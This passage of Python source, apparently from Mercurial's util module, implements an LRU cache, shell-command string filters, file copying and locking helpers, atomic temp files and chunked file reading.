         """Successfully closes the transaction."""
 
     @abc.abstractmethod
     def release(self):
         """Marks the end of the transaction.
 
         If the transaction has not been closed, it will be aborted.
         """
 
     def __enter__(self):
         return self
 
     def __exit__(self, exc_type, exc_val, exc_tb):
         try:
             if exc_type is None:
                 self.close()
         finally:
             self.release()
 
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
 
     If no transaction was provided, this simply runs the body and returns
     """
     if not tr:
         yield
         return
     try:
         yield
         tr.close()
     except error.InterventionRequired:
         tr.close()
         raise
     finally:
         tr.release()
 
 @contextlib.contextmanager
 def nullcontextmanager():
     yield
 
 class _lrucachenode(object):
     """A node in a doubly linked list.
 
     Holds a reference to nodes on either side as well as a key-value
     pair for the dictionary entry.
     """
     __slots__ = (u'next', u'prev', u'key', u'value')
 
     def __init__(self):
         self.next = None
         self.prev = None
 
         self.key = _notset
         self.value = None
 
     def markempty(self):
         """Mark the node as emptied."""
         self.key = _notset
 
 class lrucachedict(object):
     """Dict that caches most recent accesses and sets.
 
     The dict consists of an actual backing dict - indexed by original
     key - and a doubly linked circular list defining the order of entries in
     the cache.
 
     The head node is the newest entry in the cache. If the cache is full,
     we recycle head.prev and make it the new head. Cache accesses result in
     the node being moved to before the existing head and being marked as the
     new head node.
     """
     def __init__(self, max):
         self._cache = {}
 
         self._head = head = _lrucachenode()
         head.prev = head
         head.next = head
         self._size = 1
         self._capacity = max
 
     def __len__(self):
         return len(self._cache)
 
     def __contains__(self, k):
         return k in self._cache
 
     def __iter__(self):
         # We don't have to iterate in cache order, but why not.
         n = self._head
         for i in range(len(self._cache)):
             yield n.key
             n = n.next
 
     def __getitem__(self, k):
         node = self._cache[k]
         self._movetohead(node)
         return node.value
 
     def __setitem__(self, k, v):
         node = self._cache.get(k)
         # Replace existing value and mark as newest.
         if node is not None:
             node.value = v
             self._movetohead(node)
             return
 
         if self._size < self._capacity:
             node = self._addcapacity()
         else:
             # Grab the last/oldest item.
             node = self._head.prev
 
         # At capacity. Kill the old entry.
         if node.key is not _notset:
             del self._cache[node.key]
 
         node.key = k
         node.value = v
         self._cache[k] = node
         # And mark it as newest entry. No need to adjust order since it
         # is already self._head.prev.
         self._head = node
 
     def __delitem__(self, k):
         node = self._cache.pop(k)
         node.markempty()
 
         # Temporarily mark as newest item before re-adjusting head to make
         # this node the oldest item.
         self._movetohead(node)
         self._head = node.next
 
     # Additional dict methods.
 
     def get(self, k, default=None):
         try:
             return self._cache[k].value
         except KeyError:
             return default
 
     def clear(self):
         n = self._head
         while n.key is not _notset:
             n.markempty()
             n = n.next
 
         self._cache.clear()
 
     def copy(self):
         result = lrucachedict(self._capacity)
         n = self._head.prev
         # Iterate in oldest-to-newest order, so the copy has the right ordering
         for i in range(len(self._cache)):
             result[n.key] = n.value
             n = n.prev
         return result
 
     def _movetohead(self, node):
         """Mark a node as the newest, making it the new head.
 
         When a node is accessed, it becomes the freshest entry in the LRU
         list, which is denoted by self._head.
 
         Visually, let's make ``N`` the new head node (* denotes head):
 
             previous/oldest <-> head <-> next/next newest
 
             ----<->--- A* ---<->-----
             |                       |
             E <-> D <-> N <-> C <-> B
 
         To:
 
             ----<->--- N* ---<->-----
             |                       |
             E <-> D <-> C <-> B <-> A
 
         This requires the following moves:
 
            C.next = D  (node.prev.next = node.next)
            D.prev = C  (node.next.prev = node.prev)
            E.next = N  (head.prev.next = node)
            N.prev = E  (node.prev = head.prev)
            N.next = A  (node.next = head)
            A.prev = N  (head.prev = node)
         """
         head = self._head
         # C.next = D
         node.prev.next = node.next
         # D.prev = C
         node.next.prev = node.prev
         # N.prev = E
         node.prev = head.prev
         # N.next = A
         # It is tempting to do just "head" here, however if node is
         # adjacent to head, this will do bad things.
         node.next = head.prev.next
         # E.next = N
         node.next.prev = node
         # A.prev = N
         node.prev.next = node
 
         self._head = node
 
     def _addcapacity(self):
         """Add a node to the circular linked list.
 
         The new node is inserted before the head node.
         """
         head = self._head
         node = _lrucachenode()
         head.prev.next = node
         node.prev = head.prev
         node.next = head
         head.prev = node
         self._size += 1
         return node
 
 def lrucachefunc(func):
     '''cache most recent results of function calls'''
     cache = {}
     order = collections.deque()
     if func.__code__.co_argcount == 1:
         def f(arg):
             if arg not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[arg] = func(arg)
             else:
                 order.remove(arg)
             order.append(arg)
             return cache[arg]
     else:
         def f(*args):
             if args not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[args] = func(*args)
             else:
                 order.remove(args)
             order.append(args)
             return cache[args]
 
     return f
 
 class propertycache(object):
     def __init__(self, func):
         self.func = func
         self.name = func.__name__
     def __get__(self, obj, type=None):
         result = self.func(obj)
         self.cachevalue(obj, result)
         return result
 
     def cachevalue(self, obj, value):
         # __dict__ assignment required to bypass __setattr__ (eg: repoview)
         obj.__dict__[self.name] = value
 
 def pipefilter(s, cmd):
     '''filter string S through command CMD, returning its output'''
     p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE)
     pout, perr = p.communicate(s)
     return pout
 
 def tempfilter(s, cmd):
     '''filter string S through a pair of temporary files with CMD.
     CMD is used as a template to create the real command to be run,
     with the strings INFILE and OUTFILE replaced by the real names of
     the temporary files generated.'''
     inname, outname = None, None
     try:
         infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
         fp = os.fdopen(infd, pycompat.sysstr('wb'))
         fp.write(s)
         fp.close()
         outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
         os.close(outfd)
         cmd = cmd.replace('INFILE', inname)
         cmd = cmd.replace('OUTFILE', outname)
         code = os.system(cmd)
         if pycompat.sysplatform == 'OpenVMS' and code & 1:
             code = 0
         if code:
             raise Abort(_("command '%s' failed: %s") %
                         (cmd, explainexit(code)))
         return readfile(outname)
     finally:
         try:
             if inname:
                 os.unlink(inname)
         except OSError:
             pass
         try:
             if outname:
                 os.unlink(outname)
         except OSError:
             pass
 
 filtertable = {
     'tempfile:': tempfilter,
     'pipe:': pipefilter,
     }
 
 def filter(s, cmd):
     "filter a string through a command that transforms its input to its output"
     for name, fn in filtertable.iteritems():
         if cmd.startswith(name):
             return fn(s, cmd[len(name):].lstrip())
     return pipefilter(s, cmd)
 
 def binary(s):
     """return true if a string is binary data"""
     return bool(s and '\0' in s)
 
 def increasingchunks(source, min=1024, max=65536):
     '''return no less than min bytes per chunk while data remains,
     doubling min after each chunk until it reaches max'''
     def log2(x):
         if not x:
             return 0
         i = 0
         while x:
             x >>= 1
             i += 1
         return i - 1
 
     buf = []
     blen = 0
     for chunk in source:
         buf.append(chunk)
         blen += len(chunk)
         if blen >= min:
             if min < max:
                 min = min << 1
                 nmin = 1 << log2(blen)
                 if nmin > min:
                     min = nmin
                 if min > max:
                     min = max
             yield ''.join(buf)
             blen = 0
             buf = []
     if buf:
         yield ''.join(buf)
 
 Abort = error.Abort
 
 def always(fn):
     return True
 
 def never(fn):
     return False
 
 def nogc(func):
     """disable garbage collector
 
     Python's garbage collector triggers a GC each time a certain number of
     container objects (the number being defined by gc.get_threshold()) are
     allocated even when marked not to be tracked by the collector. Tracking has
     no effect on when GCs are triggered, only on what objects the GC looks
     into. As a workaround, disable GC while building complex (huge)
     containers.
 
     This garbage collector issue have been fixed in 2.7. But it still affect
     CPython's performance.
     """
     def wrapper(*args, **kwargs):
         gcenabled = gc.isenabled()
         gc.disable()
         try:
             return func(*args, **kwargs)
         finally:
             if gcenabled:
                 gc.enable()
     return wrapper
 
 if pycompat.ispypy:
     # PyPy runs slower with gc disabled
     nogc = lambda x: x
 
 def pathto(root, n1, n2):
     '''return the relative path from one place to another.
     root should use os.sep to separate directories
     n1 should use os.sep to separate directories
     n2 should use "/" to separate directories
     returns an os.sep-separated path.
 
     If n1 is a relative path, it's assumed it's
     relative to root.
     n2 should always be relative to root.
     '''
     if not n1:
         return localpath(n2)
     if os.path.isabs(n1):
         if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
             return os.path.join(root, localpath(n2))
         n2 = '/'.join((pconvert(root), n2))
     a, b = splitpath(n1), n2.split('/')
     a.reverse()
     b.reverse()
     while a and b and a[-1] == b[-1]:
         a.pop()
         b.pop()
     b.reverse()
     return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
 
 def mainfrozen():
     """return True if we are a frozen executable.
 
     The code supports py2exe (most common, Windows only) and tools/freeze
     (portable, not much used).
     """
     return (safehasattr(sys, "frozen") or # new py2exe
             safehasattr(sys, "importers") or # old py2exe
             imp.is_frozen(u"__main__")) # tools/freeze
 
 # the location of data files matching the source code
 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
     # executable version (py2exe) doesn't support __file__
     datapath = os.path.dirname(pycompat.sysexecutable)
 else:
     datapath = os.path.dirname(pycompat.fsencode(__file__))
 
 i18n.setdatapath(datapath)
 
 _hgexecutable = None
 
 def hgexecutable():
     """return location of the 'hg' executable.
 
     Defaults to $HG or 'hg' in the search path.
     """
     if _hgexecutable is None:
         hg = encoding.environ.get('HG')
         mainmod = sys.modules[pycompat.sysstr('__main__')]
         if hg:
             _sethgexecutable(hg)
         elif mainfrozen():
             if getattr(sys, 'frozen', None) == 'macosx_app':
                 # Env variable set by py2app
                 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
             else:
                 _sethgexecutable(pycompat.sysexecutable)
         elif (os.path.basename(
             pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
             _sethgexecutable(pycompat.fsencode(mainmod.__file__))
         else:
             exe = findexe('hg') or os.path.basename(sys.argv[0])
             _sethgexecutable(exe)
     return _hgexecutable
 
 def _sethgexecutable(path):
     """set location of the 'hg' executable"""
     global _hgexecutable
     _hgexecutable = path
 
 def _isstdout(f):
     fileno = getattr(f, 'fileno', None)
     return fileno and fileno() == sys.__stdout__.fileno()
 
 def shellenviron(environ=None):
     """return environ with optional override, useful for shelling out"""
     def py2shell(val):
         'convert python object into string that is useful to shell'
         if val is None or val is False:
             return '0'
         if val is True:
             return '1'
         return str(val)
     env = dict(encoding.environ)
     if environ:
         env.update((k, py2shell(v)) for k, v in environ.iteritems())
     env['HG'] = hgexecutable()
     return env
 
 def system(cmd, environ=None, cwd=None, out=None):
     '''enhanced shell command execution.
     run with environment maybe modified, maybe in different dir.
 
     if out is specified, it is assumed to be a file-like object that has a
     write() method. stdout and stderr will be redirected to out.'''
     try:
         stdout.flush()
     except Exception:
         pass
     cmd = quotecommand(cmd)
     env = shellenviron(environ)
     if out is None or _isstdout(out):
         rc = subprocess.call(cmd, shell=True, close_fds=closefds,
                              env=env, cwd=cwd)
     else:
         proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
                                 env=env, cwd=cwd, stdout=subprocess.PIPE,
                                 stderr=subprocess.STDOUT)
         for line in iter(proc.stdout.readline, ''):
             out.write(line)
         proc.wait()
         rc = proc.returncode
     if pycompat.sysplatform == 'OpenVMS' and rc & 1:
         rc = 0
     return rc
 
 def checksignature(func):
     '''wrap a function with code to check for calling errors'''
     def check(*args, **kwargs):
         try:
             return func(*args, **kwargs)
         except TypeError:
             if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
                 raise error.SignatureError
             raise
 
     return check
 
 # a whilelist of known filesystems where hardlink works reliably
 _hardlinkfswhitelist = {
     'btrfs',
     'ext2',
     'ext3',
     'ext4',
     'hfs',
     'jfs',
     'reiserfs',
     'tmpfs',
     'ufs',
     'xfs',
     'zfs',
 }
 
 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
     '''copy a file, preserving mode and optionally other stat info like
     atime/mtime
 
     checkambig argument is used with filestat, and is useful only if
     destination file is guarded by any lock (e.g. repo.lock or
     repo.wlock).
 
     copystat and checkambig should be exclusive.
     '''
     assert not (copystat and checkambig)
     oldstat = None
     if os.path.lexists(dest):
         if checkambig:
             oldstat = checkambig and filestat.frompath(dest)
         unlink(dest)
     if hardlink:
         # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
         # unless we are confident that dest is on a whitelisted filesystem.
         try:
             fstype = getfstype(os.path.dirname(dest))
         except OSError:
             fstype = None
         if fstype not in _hardlinkfswhitelist:
             hardlink = False
     if hardlink:
         try:
             oslink(src, dest)
             return
         except (IOError, OSError):
             pass # fall back to normal copy
     if os.path.islink(src):
         os.symlink(os.readlink(src), dest)
         # copytime is ignored for symlinks, but in general copytime isn't needed
         # for them anyway
     else:
         try:
             shutil.copyfile(src, dest)
             if copystat:
                 # copystat also copies mode
                 shutil.copystat(src, dest)
             else:
                 shutil.copymode(src, dest)
                 if oldstat and oldstat.stat:
                     newstat = filestat.frompath(dest)
                     if newstat.isambig(oldstat):
                         # stat of copied file is ambiguous to original one
                         advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
                         os.utime(dest, (advanced, advanced))
         except shutil.Error as inst:
             raise Abort(str(inst))
 
 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
     """Copy a directory tree using hardlinks if possible."""
     num = 0
 
     gettopic = lambda: hardlink and _('linking') or _('copying')
 
     if os.path.isdir(src):
         if hardlink is None:
             hardlink = (os.stat(src).st_dev ==
                         os.stat(os.path.dirname(dst)).st_dev)
         topic = gettopic()
         os.mkdir(dst)
         for name, kind in listdir(src):
             srcname = os.path.join(src, name)
             dstname = os.path.join(dst, name)
             def nprog(t, pos):
                 if pos is not None:
                     return progress(t, pos + num)
             hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
             num += n
     else:
         if hardlink is None:
             hardlink = (os.stat(os.path.dirname(src)).st_dev ==
                         os.stat(os.path.dirname(dst)).st_dev)
         topic = gettopic()
 
         if hardlink:
             try:
                 oslink(src, dst)
             except (IOError, OSError):
                 hardlink = False
                 shutil.copy(src, dst)
         else:
             shutil.copy(src, dst)
         num += 1
         progress(topic, num)
     progress(topic, None)
 
     return hardlink, num
 
 _winreservednames = b'''con prn aux nul
     com1 com2 com3 com4 com5 com6 com7 com8 com9
     lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split()
 _winreservedchars = ':*?"<>|'
 def checkwinfilename(path):
     r'''Check that the base-relative path is a valid filename on Windows.
     Returns None if the path is ok, or a UI string describing the problem.
 
     >>> checkwinfilename("just/a/normal/path")
     >>> checkwinfilename("foo/bar/con.xml")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename("foo/con.xml/bar")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename("foo/bar/xml.con")
     >>> checkwinfilename("foo/bar/AUX/bla.txt")
     "filename contains 'AUX', which is reserved on Windows"
     >>> checkwinfilename("foo/bar/bla:.txt")
     "filename contains ':', which is reserved on Windows"
     >>> checkwinfilename("foo/bar/b\07la.txt")
     "filename contains '\\x07', which is invalid on Windows"
     >>> checkwinfilename("foo/bar/bla ")
     "filename ends with ' ', which is not allowed on Windows"
     >>> checkwinfilename("../bar")
     >>> checkwinfilename("foo\\")
     "filename ends with '\\', which is invalid on Windows"
     >>> checkwinfilename("foo\\/bar")
     "directory name ends with '\\', which is invalid on Windows"
     '''
     if path.endswith('\\'):
         return _("filename ends with '\\', which is invalid on Windows")
     if '\\/' in path:
         return _("directory name ends with '\\', which is invalid on Windows")
     for n in path.replace('\\', '/').split('/'):
         if not n:
             continue
         for c in _filenamebytestr(n):
             if c in _winreservedchars:
                 return _("filename contains '%s', which is reserved "
                          "on Windows") % c
             if ord(c) <= 31:
                 return _("filename contains %r, which is invalid "
                          "on Windows") % c
         base = n.split('.')[0]
         if base and base.lower() in _winreservednames:
             return _("filename contains '%s', which is reserved "
                      "on Windows") % base
         t = n[-1]
         if t in '. ' and n not in '..':
             return _("filename ends with '%s', which is not allowed "
                      "on Windows") % t
 
 if pycompat.osname == 'nt':
     checkosfilename = checkwinfilename
     timer = time.clock
 else:
     checkosfilename = platform.checkosfilename
     timer = time.time
 
 if safehasattr(time, "perf_counter"):
     timer = time.perf_counter
 
 def makelock(info, pathname):
     try:
         return os.symlink(info, pathname)
     except OSError as why:
         if why.errno == errno.EEXIST:
             raise
     except AttributeError: # no symlink in os
         pass
 
     ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
     os.write(ld, info)
     os.close(ld)
 
 def readlock(pathname):
     try:
         return os.readlink(pathname)
     except OSError as why:
         if why.errno not in (errno.EINVAL, errno.ENOSYS):
             raise
     except AttributeError: # no symlink in os
         pass
     fp = posixfile(pathname)
     r = fp.read()
     fp.close()
     return r
 
 def fstat(fp):
     '''stat file object that may not have fileno method.'''
     try:
         return os.fstat(fp.fileno())
     except AttributeError:
         return os.stat(fp.name)
 
 # File system features
 
 def fscasesensitive(path):
     """
     Return true if the given path is on a case-sensitive filesystem
 
     Requires a path (like /foo/.hg) ending with a foldable final
     directory component.
     """
     s1 = os.lstat(path)
     d, b = os.path.split(path)
     b2 = b.upper()
     if b == b2:
         b2 = b.lower()
         if b == b2:
             return True # no evidence against case sensitivity
     p2 = os.path.join(d, b2)
     try:
         s2 = os.lstat(p2)
         if s2 == s1:
             return False
         return True
     except OSError:
         return True
 
 try:
     import re2
     _re2 = None
 except ImportError:
     _re2 = False
 
 class _re(object):
     def _checkre2(self):
         global _re2
         try:
             # check if match works, see issue3964
             _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
         except ImportError:
             _re2 = False
 
     def compile(self, pat, flags=0):
         '''Compile a regular expression, using re2 if possible
 
         For best performance, use only re2-compatible regexp features. The
         only flags from the re module that are re2-compatible are
         IGNORECASE and MULTILINE.'''
         if _re2 is None:
             self._checkre2()
         if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
             if flags & remod.IGNORECASE:
                 pat = '(?i)' + pat
             if flags & remod.MULTILINE:
                 pat = '(?m)' + pat
             try:
                 return re2.compile(pat)
             except re2.error:
                 pass
         return remod.compile(pat, flags)
 
     @propertycache
     def escape(self):
         '''Return the version of escape corresponding to self.compile.
 
         This is imperfect because whether re2 or re is used for a particular
         function depends on the flags, etc, but it's the best we can do.
         '''
         global _re2
         if _re2 is None:
             self._checkre2()
         if _re2:
             return re2.escape
         else:
             return remod.escape
 
 re = _re()
 
 _fspathcache = {}
 def fspath(name, root):
     '''Get name in the case stored in the filesystem
 
     The name should be relative to root, and be normcase-ed for efficiency.
 
     Note that this function is unnecessary, and should not be
     called, for case-sensitive filesystems (simply because it's expensive).
 
     The root should be normcase-ed, too.
     '''
     def _makefspathcacheentry(dir):
         return dict((normcase(n), n) for n in os.listdir(dir))
 
     seps = pycompat.ossep
     if pycompat.osaltsep:
         seps = seps + pycompat.osaltsep
     # Protect backslashes. This gets silly very quickly.
     seps.replace('\\','\\\\')
     pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
     dir = os.path.normpath(root)
     result = []
     for part, sep in pattern.findall(name):
         if sep:
             result.append(sep)
             continue
 
         if dir not in _fspathcache:
             _fspathcache[dir] = _makefspathcacheentry(dir)
         contents = _fspathcache[dir]
 
         found = contents.get(part)
         if not found:
             # retry "once per directory" per "dirstate.walk" which
             # may take place for each patches of "hg qpush", for example
             _fspathcache[dir] = contents = _makefspathcacheentry(dir)
             found = contents.get(part)
 
         result.append(found or part)
         dir = os.path.join(dir, part)
 
     return ''.join(result)
 
 def getfstype(dirpath):
     '''Get the filesystem type name from a directory (best-effort)
 
     Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
     '''
     return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
 
 def checknlink(testfile):
     '''check whether hardlink count reporting works properly'''
 
     # testfile may be open, so we need a separate file for checking to
     # work around issue2543 (or testfile may get lost on Samba shares)
     f1 = testfile + ".hgtmp1"
     if os.path.lexists(f1):
         return False
     try:
         posixfile(f1, 'w').close()
     except IOError:
         try:
             os.unlink(f1)
         except OSError:
             pass
         return False
 
     f2 = testfile + ".hgtmp2"
     fd = None
     try:
         oslink(f1, f2)
         # nlinks() may behave differently for files on Windows shares if
         # the file is open.
         fd = posixfile(f2)
         return nlinks(f2) > 1
     except OSError:
         return False
     finally:
         if fd is not None:
             fd.close()
         for f in (f1, f2):
             try:
                 os.unlink(f)
             except OSError:
                 pass
 
 def endswithsep(path):
     '''Check path ends with os.sep or os.altsep.'''
     return (path.endswith(pycompat.ossep)
             or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
 
 def splitpath(path):
     '''Split path by os.sep.
     Note that this function does not use os.altsep because this is
     an alternative of simple "xxx.split(os.sep)".
     It is recommended to use os.path.normpath() before using this
     function if need.'''
     return path.split(pycompat.ossep)
 
 def gui():
     '''Are we running in a GUI?'''
     if pycompat.sysplatform == 'darwin':
         if 'SSH_CONNECTION' in encoding.environ:
             # handle SSH access to a box where the user is logged in
             return False
         elif getattr(osutil, 'isgui', None):
             # check if a CoreGraphics session is available
             return osutil.isgui()
         else:
             # pure build; use a safe default
             return True
     else:
         return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
 
 def mktempcopy(name, emptyok=False, createmode=None):
     """Create a temporary file with the same contents from name
 
     The permission bits are copied from the original file.
 
     If the temporary file is going to be truncated immediately, you
     can use emptyok=True as an optimization.
 
     Returns the name of the temporary file.
     """
     d, fn = os.path.split(name)
     fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d)
     os.close(fd)
     # Temporary files are created with mode 0600, which is usually not
     # what we want.  If the original file already exists, just copy
     # its mode.  Otherwise, manually obey umask.
     copymode(name, temp, createmode)
     if emptyok:
         return temp
     try:
         try:
             ifp = posixfile(name, "rb")
         except IOError as inst:
             if inst.errno == errno.ENOENT:
                 return temp
             if not getattr(inst, 'filename', None):
                 inst.filename = name
             raise
         ofp = posixfile(temp, "wb")
         for chunk in filechunkiter(ifp):
             ofp.write(chunk)
         ifp.close()
         ofp.close()
     except: # re-raises
         try: os.unlink(temp)
         except OSError: pass
         raise
     return temp
 
 class filestat(object):
     """help to exactly detect change of a file
 
     'stat' attribute is result of 'os.stat()' if specified 'path'
     exists. Otherwise, it is None. This can avoid preparative
     'exists()' examination on client side of this class.
     """
     def __init__(self, stat):
         self.stat = stat
 
     @classmethod
     def frompath(cls, path):
         try:
             stat = os.stat(path)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             stat = None
         return cls(stat)
 
     @classmethod
     def fromfp(cls, fp):
         stat = os.fstat(fp.fileno())
         return cls(stat)
 
     __hash__ = object.__hash__
 
     def __eq__(self, old):
         try:
             # if ambiguity between stat of new and old file is
             # avoided, comparison of size, ctime and mtime is enough
             # to exactly detect change of a file regardless of platform
             return (self.stat.st_size == old.stat.st_size and
                     self.stat.st_ctime == old.stat.st_ctime and
                     self.stat.st_mtime == old.stat.st_mtime)
         except AttributeError:
             pass
         try:
             return self.stat is None and old.stat is None
         except AttributeError:
             return False
 
     def isambig(self, old):
         """Examine whether new (= self) stat is ambiguous against old one
 
         "S[N]" below means stat of a file at N-th change:
 
         - S[n-1].ctime  < S[n].ctime: can detect change of a file
         - S[n-1].ctime == S[n].ctime
           - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
           - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
           - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
         - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)
 
         Case (*2) above means that a file was changed twice or more at
         same time in sec (= S[n-1].ctime), and comparison of timestamp
         is ambiguous.
 
         Base idea to avoid such ambiguity is "advance mtime 1 sec, if
         timestamp is ambiguous".
 
         But advancing mtime only in case (*2) doesn't work as
         expected, because naturally advanced S[n].mtime in case (*1)
         might be equal to manually advanced S[n-1 or earlier].mtime.
 
         Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
         treated as ambiguous regardless of mtime, to avoid overlooking
         by confliction between such mtime.
 
         Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
         S[n].mtime", even if size of a file isn't changed.
         """
         try:
             return (self.stat.st_ctime == old.stat.st_ctime)
         except AttributeError:
             return False
 
     def avoidambig(self, path, old):
         """Change file stat of specified path to avoid ambiguity
 
         'old' should be previous filestat of 'path'.
 
         This skips avoiding ambiguity, if a process doesn't have
         appropriate privileges for 'path'. This returns False in this
         case.
 
         Otherwise, this returns True, as "ambiguity is avoided".
         """
         advanced = (old.stat.st_mtime + 1) & 0x7fffffff
         try:
             os.utime(path, (advanced, advanced))
         except OSError as inst:
             if inst.errno == errno.EPERM:
                 # utime() on the file created by another user causes EPERM,
                 # if a process doesn't have appropriate privileges
                 return False
             raise
         return True
 
     def __ne__(self, other):
         return not self == other
 
 class atomictempfile(object):
     '''writable file object that atomically updates a file
 
     All writes will go to a temporary copy of the original file. Call
     close() when you are done writing, and atomictempfile will rename
     the temporary copy to the original name, making the changes
     visible. If the object is destroyed without being closed, all your
     writes are discarded.
 
     checkambig argument of constructor is used with filestat, and is
     useful only if target file is guarded by any lock (e.g. repo.lock
     or repo.wlock).
     '''
     def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
         self.__name = name      # permanent name
         self._tempname = mktempcopy(name, emptyok=('w' in mode),
                                     createmode=createmode)
         self._fp = posixfile(self._tempname, mode)
         self._checkambig = checkambig
 
         # delegated methods
         self.read = self._fp.read
         self.write = self._fp.write
         self.seek = self._fp.seek
         self.tell = self._fp.tell
         self.fileno = self._fp.fileno
 
     def close(self):
         if not self._fp.closed:
             self._fp.close()
             filename = localpath(self.__name)
             oldstat = self._checkambig and filestat.frompath(filename)
             if oldstat and oldstat.stat:
                 rename(self._tempname, filename)
                 newstat = filestat.frompath(filename)
                 if newstat.isambig(oldstat):
                     # stat of changed file is ambiguous to original one
                     advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
                     os.utime(filename, (advanced, advanced))
             else:
                 rename(self._tempname, filename)
 
     def discard(self):
         if not self._fp.closed:
             try:
                 os.unlink(self._tempname)
             except OSError:
                 pass
             self._fp.close()
 
     def __del__(self):
         if safehasattr(self, '_fp'): # constructor actually did something
             self.discard()
 
     def __enter__(self):
         return self
 
     def __exit__(self, exctype, excvalue, traceback):
         if exctype is not None:
             self.discard()
         else:
             self.close()
 
 def unlinkpath(f, ignoremissing=False):
     """unlink and remove the directory if it is empty"""
     if ignoremissing:
         tryunlink(f)
     else:
         unlink(f)
     # try removing directories that might now be empty
     try:
         removedirs(os.path.dirname(f))
     except OSError:
         pass
 
 def tryunlink(f):
     """Attempt to remove a file, ignoring ENOENT errors."""
     try:
         unlink(f)
     except OSError as e:
         if e.errno != errno.ENOENT:
             raise
 
 def makedirs(name, mode=None, notindexed=False):
     """recursive directory creation with parent mode inheritance
 
     Newly created directories are marked as "not to be indexed by
     the content indexing service", if ``notindexed`` is specified
     for "write" mode access.
     """
     try:
         makedir(name, notindexed)
     except OSError as err:
         if err.errno == errno.EEXIST:
             return
         if err.errno != errno.ENOENT or not name:
             raise
         parent = os.path.dirname(os.path.abspath(name))
         if parent == name:
             raise
         makedirs(parent, mode, notindexed)
         try:
             makedir(name, notindexed)
         except OSError as err:
             # Catch EEXIST to handle races
             if err.errno == errno.EEXIST:
                 return
             raise
     if mode is not None:
         os.chmod(name, mode)
 
 def readfile(path):
     with open(path, 'rb') as fp:
         return fp.read()
 
 def writefile(path, text):
     with open(path, 'wb') as fp:
         fp.write(text)
 
 def appendfile(path, text):
     with open(path, 'ab') as fp:
         fp.write(text)
 
 class chunkbuffer(object):
     """Allow arbitrary sized chunks of data to be efficiently read from an
     iterator over chunks of arbitrary size."""
 
     def __init__(self, in_iter):
         """in_iter is the iterator that's iterating over the input chunks."""
         def splitbig(chunks):
             for chunk in chunks:
                 if len(chunk) > 2**20:
                     pos = 0
                     while pos < len(chunk):
                         end = pos + 2 ** 18
                         yield chunk[pos:end]
                         pos = end
                 else:
                     yield chunk
         self.iter = splitbig(in_iter)
         self._queue = collections.deque()
         self._chunkoffset = 0
 
     def read(self, l=None):
         """Read L bytes of data from the iterator of chunks of data.
         Returns less than L bytes if the iterator runs dry.
 
         If size parameter is omitted, read everything"""
         if l is None:
             return ''.join(self.iter)
 
         left = l
         buf = []
         queue = self._queue
         while left > 0:
             # refill the queue
             if not queue:
                 target = 2**18
                 for chunk in self.iter:
                     queue.append(chunk)
                     target -= len(chunk)
                     if target <= 0:
                         break
                 if not queue:
                     break
 
             # The easy way to do this would be to queue.popleft(), modify the
             # chunk (if necessary), then queue.appendleft(). However, for cases
             # where we read partial chunk content, this incurs 2 dequeue
             # mutations and creates a new str for the remaining chunk in the
             # queue. Our code below avoids this overhead.
 
             chunk = queue[0]
             chunkl = len(chunk)
             offset = self._chunkoffset
 
             # Use full chunk.
             if offset == 0 and left >= chunkl:
                 left -= chunkl
                 queue.popleft()
                 buf.append(chunk)
                 # self._chunkoffset remains at 0.
                 continue
 
             chunkremaining = chunkl - offset
 
             # Use all of unconsumed part of chunk.
             if left >= chunkremaining:
                 left -= chunkremaining
                 queue.popleft()
                 # offset == 0 is enabled by block above, so this won't merely
                 # copy via ``chunk[0:]``.
                 buf.append(chunk[offset:])
                 self._chunkoffset = 0
 
             # Partial chunk needed.
             else:
                 buf.append(chunk[offset:offset + left])
                 self._chunkoffset += left
                 left -= chunkremaining
 
         return ''.join(buf)
 
 def filechunkiter(f, size=131072, limit=None):
     """Create a generator that produces the data in the file size
     (default 131072) bytes at a time, up to optional limit (default is
     to read all data).  Chunks may be less than size bytes if the
     chunk is the last chunk in the file, or the file is a socket or
     some other type of file that sometimes reads less data than is
     requested."""
     assert size >= 0
     assert limit is None or limit >= 0
     while True:
         if limit is None:
             nbytes = size
         else:
             nbytes = min(limit, size)
         s = nbytes and f.read(nbytes)
         if not s:
             break
         if limit:
             limit -= len(s)
         yield s
 
